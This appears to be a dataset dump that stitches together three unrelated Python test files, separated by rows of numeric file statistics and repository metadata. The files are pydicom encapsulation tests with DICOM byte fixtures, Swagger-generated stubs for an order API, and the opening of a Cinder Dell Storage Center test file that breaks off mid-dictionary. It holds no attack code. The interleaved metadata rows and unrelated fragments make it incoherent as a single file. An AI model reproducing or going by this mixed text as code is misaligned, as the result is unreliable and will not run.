# 2 frames, each 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x20\x00\x00\x00' \
b'\x40\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [
b'\x01\x00\x00\x00', b'\x02\x00\x00\x00', b'\x03\x00\x00\x00',
b'\x02\x00\x00\x00', b'\x02\x00\x00\x00', b'\x03\x00\x00\x00',
b'\x03\x00\x00\x00', b'\x02\x00\x00\x00', b'\x03\x00\x00\x00'
]
def test_multi_frame_varied_ratio(self):
"""Test a multi-frame image where each frames is random fragments"""
# 3 frames, 1st is 1 fragment, 2nd is 3 fragments, 3rd is 2 fragments
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0E\x00\x00\x00' \
b'\x32\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x01\x00\x00\x00\x00\x01' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x03\x00\x00\x00\x00\x02' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x04'
frames = decode_data_sequence(bytestream)
assert frames == [
b'\x01\x00\x00\x00\x00\x01', b'\x02\x00', b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00\x00\x02', b'\x03\x00\x00\x00', b'\x02\x04'
]
class TestDefragmentData:
"""Test encaps.defragment_data"""
def test_defragment(self):
"""Test joining fragmented data works"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
reference = b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
assert defragment_data(bytestream) == reference
class TestReadItem:
"""Test encaps.read_item"""
def test_item_undefined_length(self):
"""Test exception raised if item length undefined."""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\xFF\xFF\xFF\xFF' \
b'\x00\x00\x00\x01'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
with pytest.raises(ValueError,
match="Encapsulated data fragment had Undefined "
"Length at data position 0x4"):
read_item(fp)
def test_item_sequence_delimiter(self):
"""Test non-zero length seq delimiter reads correctly."""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0' \
b'\x04\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
assert read_item(fp) is None
assert read_item(fp) == b'\x02\x00\x00\x00'
def test_item_sequence_delimiter_zero_length(self):
"""Test that the fragments are returned if seq delimiter hit."""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
assert read_item(fp) is None
assert read_item(fp) == b'\x02\x00\x00\x00'
def test_item_bad_tag(self):
"""Test item is read if it has an unexpected tag"""
# This should raise an exception instead
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\x10\x00\x10\x00' \
b'\x04\x00\x00\x00' \
b'\xFF\x00\xFF\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
assert read_item(fp) == b'\xFF\x00\xFF\x00'
assert read_item(fp) == b'\x02\x00\x00\x00'
def test_single_fragment_no_delimiter(self):
"""Test single fragment is returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
def test_multi_fragments_no_delimiter(self):
"""Test multi fragments are returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
assert read_item(fp) == b'\x01\x02\x03\x04\x05\x06'
def test_single_fragment_delimiter(self):
"""Test single fragment is returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
def test_multi_fragments_delimiter(self):
"""Test multi fragments are returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert read_item(fp) == b'\x01\x00\x00\x00'
assert read_item(fp) == b'\x01\x02\x03\x04\x05\x06'
class TestFragmentFrame:
"""Test encaps.fragment_frame."""
def test_single_fragment_even_data(self):
"""Test 1 fragment from even data"""
bytestream = b'\xFE\xFF\x00\xE1'
fragments = fragment_frame(bytestream, nr_fragments=1)
fragment = next(fragments)
assert pytest.raises(StopIteration, next, fragments)
assert fragment == bytestream
assert len(fragment) == 4
assert isinstance(fragment, bytes)
def test_single_fragment_odd_data(self):
"""Test 1 fragment from odd data"""
bytestream = b'\xFE\xFF\x00'
fragments = fragment_frame(bytestream, nr_fragments=1)
fragment = next(fragments)
assert pytest.raises(StopIteration, next, fragments)
assert fragment == bytestream + b'\x00'
assert len(fragment) == 4
def test_even_fragment_even_data(self):
"""Test even fragments from even data"""
bytestream = b'\xFE\xFF\x00\xE1'
# Each fragment should be 2 bytes
fragments = fragment_frame(bytestream, nr_fragments=2)
fragment = next(fragments)
assert fragment == bytestream[:2]
fragment = next(fragments)
assert fragment == bytestream[2:]
assert pytest.raises(StopIteration, next, fragments)
def test_even_fragment_odd_data(self):
"""Test even fragments from odd data"""
bytestream = b'\xFE\xFF\x00'
# First fragment should be 1.5 -> 2 bytes, with the final
# fragment 1 byte + 1 byte padding
fragments = fragment_frame(bytestream, nr_fragments=2)
fragment = next(fragments)
assert fragment == b'\xFE\xFF'
fragment = next(fragments)
assert fragment == b'\x00\x00'
assert pytest.raises(StopIteration, next, fragments)
def test_odd_fragments_even_data(self):
"""Test odd fragments from even data"""
bytestream = b'\xFE\xFF\x00\xE1' * 31 # 124 bytes
assert len(bytestream) % 2 == 0
# Each fragment should be 17.7 -> 18 bytes, with the final
# fragment 16 bytes
fragments = fragment_frame(bytestream, nr_fragments=7)
for ii in range(6):
fragment = next(fragments)
assert len(fragment) == 18
fragment = next(fragments)
assert len(fragment) == 16
assert pytest.raises(StopIteration, next, fragments)
def test_odd_fragments_odd_data(self):
"""Test odd fragments from odd data"""
bytestream = b'\xFE\xFF\x00' * 31 # 93 bytes
assert len(bytestream) % 2 == 1
# Each fragment should be 13.3 -> 14 bytes, with the final
# fragment 9 bytes + 1 byte padding
fragments = fragment_frame(bytestream, nr_fragments=7)
for ii in range(6):
fragment = next(fragments)
assert len(fragment) == 14
fragment = next(fragments)
assert len(fragment) == 10
assert pytest.raises(StopIteration, next, fragments)
def test_too_many_fragments_raises(self):
"""Test exception raised if too many fragments."""
bytestream = b'\xFE\xFF\x00' * 31 # 93 bytes
# At most we can have 47 fragments
for fragment in fragment_frame(bytestream, nr_fragments=47):
pass
with pytest.raises(ValueError):
for fragment in fragment_frame(bytestream, nr_fragments=48):
pass
class TestEncapsulateFrame:
"""Test encaps.itemise_frame."""
def test_single_item(self):
"""Test encapsulating into one fragment"""
bytestream = b'\xFE\xFF\x00\xE1'
item_generator = itemise_frame(bytestream, nr_fragments=1)
item = next(item_generator)
assert item == (
b'\xfe\xff\x00\xe0'
b'\x04\x00\x00\x00'
b'\xFE\xFF\x00\xE1'
)
pytest.raises(StopIteration, next, item_generator)
def test_two_items(self):
"""Test encapsulating into two fragments"""
bytestream = b'\xFE\xFF\x00\xE1'
item_generator = itemise_frame(bytestream, nr_fragments=2)
item = next(item_generator)
assert item == (
b'\xfe\xff\x00\xe0'
b'\x02\x00\x00\x00'
b'\xFE\xFF'
)
item = next(item_generator)
assert item == (
b'\xfe\xff\x00\xe0'
b'\x02\x00\x00\x00'
b'\x00\xe1'
)
pytest.raises(StopIteration, next, item_generator)
class TestEncapsulate:
"""Test encaps.encapsulate."""
def test_encapsulate_single_fragment_per_frame_no_bot(self):
"""Test encapsulating single fragment per frame with no BOT values."""
ds = dcmread(JP2K_10FRAME_NOBOT)
frames = decode_data_sequence(ds.PixelData)
assert len(frames) == 10
data = encapsulate(frames, fragments_per_frame=1, has_bot=False)
test_frames = decode_data_sequence(data)
for a, b in zip(test_frames, frames):
assert a == b
# Original data has no BOT values
assert data == ds.PixelData
def test_encapsulate_single_fragment_per_frame_bot(self):
"""Test encapsulating single fragment per frame with BOT values."""
ds = dcmread(JP2K_10FRAME_NOBOT)
frames = decode_data_sequence(ds.PixelData)
assert len(frames) == 10
data = encapsulate(frames, fragments_per_frame=1, has_bot=True)
test_frames = decode_data_sequence(data)
for a, b in zip(test_frames, frames):
assert a == b
fp = DicomBytesIO(data)
fp.is_little_endian = True
length, offsets = get_frame_offsets(fp)
assert offsets == [
0x0000, # 0
0x0eee, # 3822
0x1df6, # 7670
0x2cf8, # 11512
0x3bfc, # 15356
0x4ade, # 19166
0x59a2, # 22946
0x6834, # 26676
0x76e2, # 30434
0x8594 # 34196
]
def test_encapsulate_bot(self):
"""Test the Basic Offset Table is correct."""
ds = dcmread(JP2K_10FRAME_NOBOT)
frames = decode_data_sequence(ds.PixelData)
assert len(frames) == 10
data = encapsulate(frames, fragments_per_frame=1, has_bot=True)
assert data[:56] == (
b'\xfe\xff\x00\xe0' # Basic offset table item tag
b'\x28\x00\x00\x00' # Basic offset table length
b'\x00\x00\x00\x00' # First offset
b'\xee\x0e\x00\x00'
b'\xf6\x1d\x00\x00'
b'\xf8\x2c\x00\x00'
b'\xfc\x3b\x00\x00'
b'\xde\x4a\x00\x00'
b'\xa2\x59\x00\x00'
b'\x34\x68\x00\x00'
b'\xe2\x76\x00\x00'
b'\x94\x85\x00\x00' # Last offset
b'\xfe\xff\x00\xe0' # Next item tag
b'\xe6\x0e\x00\x00' # Next item length
)
def test_encapsulate_bot_large_raises(self):
"""Test exception raised if too much pixel data for BOT."""
class FakeBytes(bytes):
length = -1
def __len__(self):
return self.length
def __getitem__(self, s):
return b'\x00' * 5
frame_a = FakeBytes()
frame_a.length = 2**32 - 1 - 8 # 8 for first BOT item tag/length
frame_b = FakeBytes()
frame_b.length = 10
data = encapsulate([frame_a, frame_b], has_bot=True)
frame_a.length = 2**32 - 1 - 7
msg = (
r"The total length of the encapsulated frame data \(4294967296 "
r"bytes\) will be greater than the maximum allowed by the Basic "
)
with pytest.raises(ValueError, match=msg):
encapsulate([frame_a, frame_b], has_bot=True)
class TestEncapsulateExtended:
"""Tests for encaps.encapsulate_extended."""
def test_encapsulate(self):
ds = dcmread(JP2K_10FRAME_NOBOT)
frames = decode_data_sequence(ds.PixelData)
assert len(frames) == 10
out = encapsulate_extended(frames)
# Pixel Data encapsulated OK
assert isinstance(out[0], bytes)
test_frames = decode_data_sequence(out[0])
for a, b in zip(test_frames, frames):
assert a == b
# Extended Offset Table is OK
assert isinstance(out[1], bytes)
assert [
0x0000, # 0
0x0eee, # 3822
0x1df6, # 7670
0x2cf8, # 11512
0x3bfc, # 15356
0x4ade, # 19166
0x59a2, # 22946
0x6834, # 26676
0x76e2, # 30434
0x8594 # 34196
] == list(unpack('<10Q', out[1]))
# Extended Offset Table Lengths are OK
assert isinstance(out[2], bytes)
assert [len(f) for f in frames] == list(unpack('<10Q', out[2]))
| 41.022943
| 79
| 0.521667
| 6,708
| 51,853
| 3.940519
| 0.049791
| 0.206106
| 0.160027
| 0.094579
| 0.863012
| 0.839821
| 0.817463
| 0.800628
| 0.776756
| 0.756025
| 0
| 0.142527
| 0.349835
| 51,853
| 1,263
| 80
| 41.055424
| 0.641533
| 0.111411
| 0
| 0.788802
| 0
| 0.051081
| 0.270123
| 0.081566
| 0
| 0
| 0.002698
| 0
| 0.105108
| 1
| 0.072692
| false
| 0.001965
| 0.005894
| 0.001965
| 0.09332
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d5cbd8eaea6c5e3c58d969365c45cf3b27815b0c
| 6,173
|
py
|
Python
|
atom/nucleus/python/test/test_order_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
atom/nucleus/python/test/test_order_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
atom/nucleus/python/test/test_order_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
Hydrogen Nucleus API
The Hydrogen Nucleus API # noqa: E501
OpenAPI spec version: 1.9.5
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import nucleus_api
from nucleus_api.api.order_api import OrderApi # noqa: E501
from nucleus_api.rest import ApiException
class TestOrderApi(unittest.TestCase):
"""OrderApi unit test stubs"""
def setUp(self):
self.api = nucleus_api.api.order_api.OrderApi() # noqa: E501
def tearDown(self):
pass
def test_create_account_order_bulk_using_post(self):
"""Test case for create_account_order_bulk_using_post
Bulk orders for an account # noqa: E501
"""
pass
def test_create_account_order_buy_only_using_post(self):
"""Test case for create_account_order_buy_only_using_post
Create buy-only account rebalance orders # noqa: E501
"""
pass
def test_create_account_order_rebalance_using_post(self):
"""Test case for create_account_order_rebalance_using_post
Create account rebalance orders # noqa: E501
"""
pass
def test_create_account_order_reconciliation(self):
"""Test case for create_account_order_reconciliation
Create account reconciliation order # noqa: E501
"""
pass
def test_create_account_order_sell_all_using_post(self):
"""Test case for create_account_order_sell_all_using_post
Sell all account order # noqa: E501
"""
pass
def test_create_account_order_sell_only_using_post(self):
"""Test case for create_account_order_sell_only_using_post
Create sell-only account rebalance orders # noqa: E501
"""
pass
def test_create_client_order_bulk_using_post(self):
"""Test case for create_client_order_bulk_using_post
Bulk orders for a client # noqa: E501
"""
pass
def test_create_order_bulk_using_post(self):
"""Test case for create_order_bulk_using_post
Bulk orders for your firm # noqa: E501
"""
pass
def test_create_order_status_using_post(self):
"""Test case for create_order_status_using_post
Create an order status # noqa: E501
"""
pass
def test_create_order_track_using_post(self):
"""Test case for create_order_track_using_post
Create an order tracking record # noqa: E501
"""
pass
def test_create_order_using_post(self):
"""Test case for create_order_using_post
Create an order record # noqa: E501
"""
pass
def test_create_portfolio_order_buy_only_using_post(self):
"""Test case for create_portfolio_order_buy_only_using_post
Create buy-only portfolio rebalance orders # noqa: E501
"""
pass
def test_create_portfolio_order_rebalance_using_post(self):
"""Test case for create_portfolio_order_rebalance_using_post
Create portfolio rebalance orders # noqa: E501
"""
pass
def test_create_portfolio_order_reconciliation(self):
"""Test case for create_portfolio_order_reconciliation
Create portfolio reconciliation order # noqa: E501
"""
pass
def test_create_portfolio_order_sell_all_using_post(self):
"""Test case for create_portfolio_order_sell_all_using_post
Sell all portfolio order # noqa: E501
"""
pass
def test_create_portfolio_order_sell_only_using_post(self):
"""Test case for create_portfolio_order_sell_only_using_post
Create sell-only portfolio rebalance orders # noqa: E501
"""
pass
def test_delete_order_status_using_delete(self):
"""Test case for delete_order_status_using_delete
Delete an order status # noqa: E501
"""
pass
def test_delete_order_track_using_delete(self):
"""Test case for delete_order_track_using_delete
Delete an order tracking record # noqa: E501
"""
pass
def test_delete_order_using_delete(self):
"""Test case for delete_order_using_delete
Delete an order record # noqa: E501
"""
pass
def test_get_order_all_using_get(self):
"""Test case for get_order_all_using_get
List all order records # noqa: E501
"""
pass
def test_get_order_bulk_all_using_get(self):
"""Test case for get_order_bulk_all_using_get
List all bulk orders # noqa: E501
"""
pass
def test_get_order_status_all_using_get(self):
"""Test case for get_order_status_all_using_get
List all order statuses # noqa: E501
"""
pass
def test_get_order_status_using_get(self):
"""Test case for get_order_status_using_get
Retrieve an order status # noqa: E501
"""
pass
def test_get_order_track_all_using_get(self):
"""Test case for get_order_track_all_using_get
List all order tracking records # noqa: E501
"""
pass
def test_get_order_track_using_get(self):
"""Test case for get_order_track_using_get
Retrieve an order tracking record # noqa: E501
"""
pass
def test_get_order_using_get(self):
"""Test case for get_order_using_get
Retrieve an order record # noqa: E501
"""
pass
def test_update_order_status_using_put(self):
"""Test case for update_order_status_using_put
Update an order status # noqa: E501
"""
pass
def test_update_order_track_using_put(self):
"""Test case for update_order_track_using_put
Update an order tracking record # noqa: E501
"""
pass
def test_update_order_using_put(self):
"""Test case for update_order_using_put
Update an order record # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 25.936975
| 69
| 0.659971
| 797
| 6,173
| 4.727729
| 0.101631
| 0.067941
| 0.08466
| 0.115446
| 0.860934
| 0.777866
| 0.727176
| 0.637473
| 0.38827
| 0.212049
| 0
| 0.022411
| 0.277175
| 6,173
| 237
| 70
| 26.046414
| 0.822053
| 0.470922
| 0
| 0.428571
| 1
| 0
| 0.003085
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.442857
| false
| 0.428571
| 0.071429
| 0
| 0.528571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
910bc9e0bfbc867d3295f1d706e1fcfed3a5252e
| 326,900
|
py
|
Python
|
cinder/tests/unit/test_dellscapi.py
|
ISCAS-VDI/cinder-base
|
9529102548beef074264aaef31fa8267db99df61
|
[
"Apache-2.0"
] | null | null | null |
cinder/tests/unit/test_dellscapi.py
|
ISCAS-VDI/cinder-base
|
9529102548beef074264aaef31fa8267db99df61
|
[
"Apache-2.0"
] | null | null | null |
cinder/tests/unit/test_dellscapi.py
|
ISCAS-VDI/cinder-base
|
9529102548beef074264aaef31fa8267db99df61
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) 2015 Dell Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import ddt
import mock
from requests import models
import uuid
from cinder import context
from cinder import exception
from cinder import test
from cinder.volume.drivers.dell import dell_storagecenter_api
# We patch these here as they are used by every test to keep
# from trying to contact a Dell Storage Center.
@ddt.ddt
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'__init__',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'open_connection')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'close_connection')
class DellSCSanAPITestCase(test.TestCase):
"""DellSCSanAPITestCase
Class to test the Storage Center API using Mock.
"""
SC = {u'IPv6ManagementIPPrefix': 128,
u'connectionError': u'',
u'instanceId': u'64702',
u'scSerialNumber': 64702,
u'dataProgressionRunning': False,
u'hostOrIpAddress': u'192.168.0.80',
u'userConnected': True,
u'portsBalanced': True,
u'managementIp': u'192.168.0.80',
u'version': u'6.5.1.269',
u'location': u'',
u'objectType': u'StorageCenter',
u'instanceName': u'Storage Center 64702',
u'statusMessage': u'',
u'status': u'Up',
u'flashOptimizedConfigured': False,
u'connected': True,
u'operationMode': u'Normal',
u'userName': u'Admin',
u'nonFlashOptimizedConfigured': True,
u'name': u'Storage Center 64702',
u'scName': u'Storage Center 64702',
u'notes': u'',
u'serialNumber': 64702,
u'raidRebalanceRunning': False,
u'userPasswordExpired': False,
u'contact': u'',
u'IPv6ManagementIP': u'::'}
VOLUME = {u'instanceId': u'64702.3494',
u'scSerialNumber': 64702,
u'replicationSource': False,
u'liveVolume': False,
u'vpdId': 3496,
u'objectType': u'ScVolume',
u'index': 3494,
u'volumeFolderPath': u'devstackvol/fcvm/',
u'hostCacheEnabled': False,
u'usedByLegacyFluidFsNasVolume': False,
u'inRecycleBin': False,
u'volumeFolderIndex': 17,
u'instanceName': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'statusMessage': u'',
u'status': u'Up',
u'storageType': {u'instanceId': u'64702.1',
u'instanceName': u'Assigned - Redundant - 2 MB',
u'objectType': u'ScStorageType'},
u'cmmDestination': False,
u'replicationDestination': False,
u'volumeFolder': {u'instanceId': u'64702.17',
u'instanceName': u'fcvm',
u'objectType': u'ScVolumeFolder'},
u'deviceId': u'6000d31000fcbe000000000000000da8',
u'active': True,
u'portableVolumeDestination': False,
u'deleteAllowed': True,
u'name': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'scName': u'Storage Center 64702',
u'secureDataUsed': False,
u'serialNumber': u'0000fcbe-00000da8',
u'replayAllowed': True,
u'flashOptimized': False,
u'configuredSize': u'1.073741824E9 Bytes',
u'mapped': False,
u'cmmSource': False}
VOLUME_LIST = [{u'instanceId': u'64702.3494',
u'scSerialNumber': 64702,
u'replicationSource': False,
u'liveVolume': False,
u'vpdId': 3496,
u'objectType': u'ScVolume',
u'index': 3494,
u'volumeFolderPath': u'devstackvol/fcvm/',
u'hostCacheEnabled': False,
u'usedByLegacyFluidFsNasVolume': False,
u'inRecycleBin': False,
u'volumeFolderIndex': 17,
u'instanceName':
u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'statusMessage': u'',
u'status': u'Up',
u'storageType': {u'instanceId': u'64702.1',
u'instanceName':
u'Assigned - Redundant - 2 MB',
u'objectType': u'ScStorageType'},
u'cmmDestination': False,
u'replicationDestination': False,
u'volumeFolder': {u'instanceId': u'64702.17',
u'instanceName': u'fcvm',
u'objectType': u'ScVolumeFolder'},
u'deviceId': u'6000d31000fcbe000000000000000da8',
u'active': True,
u'portableVolumeDestination': False,
u'deleteAllowed': True,
u'name': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'scName': u'Storage Center 64702',
u'secureDataUsed': False,
u'serialNumber': u'0000fcbe-00000da8',
u'replayAllowed': True,
u'flashOptimized': False,
u'configuredSize': u'1.073741824E9 Bytes',
u'mapped': False,
u'cmmSource': False}]
# Volume list that contains multiple volumes
VOLUME_LIST_MULTI_VOLS = [
{u'instanceId': u'64702.3494',
u'scSerialNumber': 64702,
u'replicationSource': False,
u'liveVolume': False,
u'vpdId': 3496,
u'objectType': u'ScVolume',
u'index': 3494,
u'volumeFolderPath': u'devstackvol/fcvm/',
u'hostCacheEnabled': False,
u'usedByLegacyFluidFsNasVolume': False,
u'inRecycleBin': False,
u'volumeFolderIndex': 17,
u'instanceName':
u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'statusMessage': u'',
u'status': u'Up',
u'storageType': {u'instanceId': u'64702.1',
u'instanceName':
u'Assigned - Redundant - 2 MB',
u'objectType': u'ScStorageType'},
u'cmmDestination': False,
u'replicationDestination': False,
u'volumeFolder': {u'instanceId': u'64702.17',
u'instanceName': u'fcvm',
u'objectType': u'ScVolumeFolder'},
u'deviceId': u'6000d31000fcbe000000000000000da8',
u'active': True,
u'portableVolumeDestination': False,
u'deleteAllowed': True,
u'name': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'scName': u'Storage Center 64702',
u'secureDataUsed': False,
u'serialNumber': u'0000fcbe-00000da8',
u'replayAllowed': True,
u'flashOptimized': False,
u'configuredSize': u'1.073741824E9 Bytes',
u'mapped': False,
u'cmmSource': False},
{u'instanceId': u'64702.3495',
u'scSerialNumber': 64702,
u'replicationSource': False,
u'liveVolume': False,
u'vpdId': 3496,
u'objectType': u'ScVolume',
u'index': 3495,
u'volumeFolderPath': u'devstackvol/fcvm/',
u'hostCacheEnabled': False,
u'usedByLegacyFluidFsNasVolume': False,
u'inRecycleBin': False,
u'volumeFolderIndex': 17,
u'instanceName':
u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'statusMessage': u'',
u'status': u'Up',
u'storageType': {u'instanceId': u'64702.1',
u'instanceName':
u'Assigned - Redundant - 2 MB',
u'objectType': u'ScStorageType'},
u'cmmDestination': False,
u'replicationDestination': False,
u'volumeFolder': {u'instanceId': u'64702.17',
u'instanceName': u'fcvm',
u'objectType': u'ScVolumeFolder'},
u'deviceId': u'6000d31000fcbe000000000000000da9',
u'active': True,
u'portableVolumeDestination': False,
u'deleteAllowed': True,
u'name': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'scName': u'Storage Center 64702',
u'secureDataUsed': False,
u'serialNumber': u'0000fcbe-00000da8',
u'replayAllowed': True,
u'flashOptimized': False,
u'configuredSize': u'1.073741824E9 Bytes',
u'mapped': False,
u'cmmSource': False}]
VOLUME_CONFIG = \
{u'instanceId': u'64702.3494',
u'scSerialNumber': 64702,
u'maximumSiblingCount': 100,
u'writeCacheStatus': u'Up',
u'objectType': u'ScVolumeConfiguration',
u'currentSiblingConfiguredSize': u'2.147483648E9 Bytes',
u'compressionPaused': False,
u'enforceConsumptionLimit': False,
u'volumeSpaceConsumptionLimit': u'2.147483648E9 Bytes',
u'readCacheEnabled': True,
u'writeCacheEnabled': True,
u'instanceName': u'volume-ff9589d3-2d41-48d5-9ef5-2713a875e85b',
u'dateModified': u'04/03/2015 12:01:08 AM',
u'modifyUser': u'Admin',
u'replayExpirationPaused': False,
u'currentSiblingCount': 1,
u'replayCreationPaused': False,
u'replayProfileList': [{u'instanceId': u'64702.2',
u'instanceName': u'Daily',
u'objectType': u'ScReplayProfile'}],
u'dateCreated': u'04/04/2014 03:54:26 AM',
u'volume': {u'instanceId': u'64702.3494',
u'instanceName':
u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'objectType': u'ScVolume'},
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'coalesceIntoActive': False,
u'createUser': u'Admin',
u'importToLowestTier': False,
u'readCacheStatus': u'Up',
u'maximumSiblingConfiguredSpace': u'5.49755813888E14 Bytes',
u'storageProfile': {u'instanceId': u'64702.1',
u'instanceName': u'Recommended',
u'objectType': u'ScStorageProfile'},
u'scName': u'Storage Center 64702',
u'notes': u'',
u'diskFolder': {u'instanceId': u'64702.3',
u'instanceName': u'Assigned',
u'objectType': u'ScDiskFolder'},
u'openVmsUniqueDiskId': 48,
u'compressionEnabled': False}
INACTIVE_VOLUME = \
{u'instanceId': u'64702.3494',
u'scSerialNumber': 64702,
u'replicationSource': False,
u'liveVolume': False,
u'vpdId': 3496,
u'objectType': u'ScVolume',
u'index': 3494,
u'volumeFolderPath': u'devstackvol/fcvm/',
u'hostCacheEnabled': False,
u'usedByLegacyFluidFsNasVolume': False,
u'inRecycleBin': False,
u'volumeFolderIndex': 17,
u'instanceName': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'statusMessage': u'',
u'status': u'Up',
u'storageType': {u'instanceId': u'64702.1',
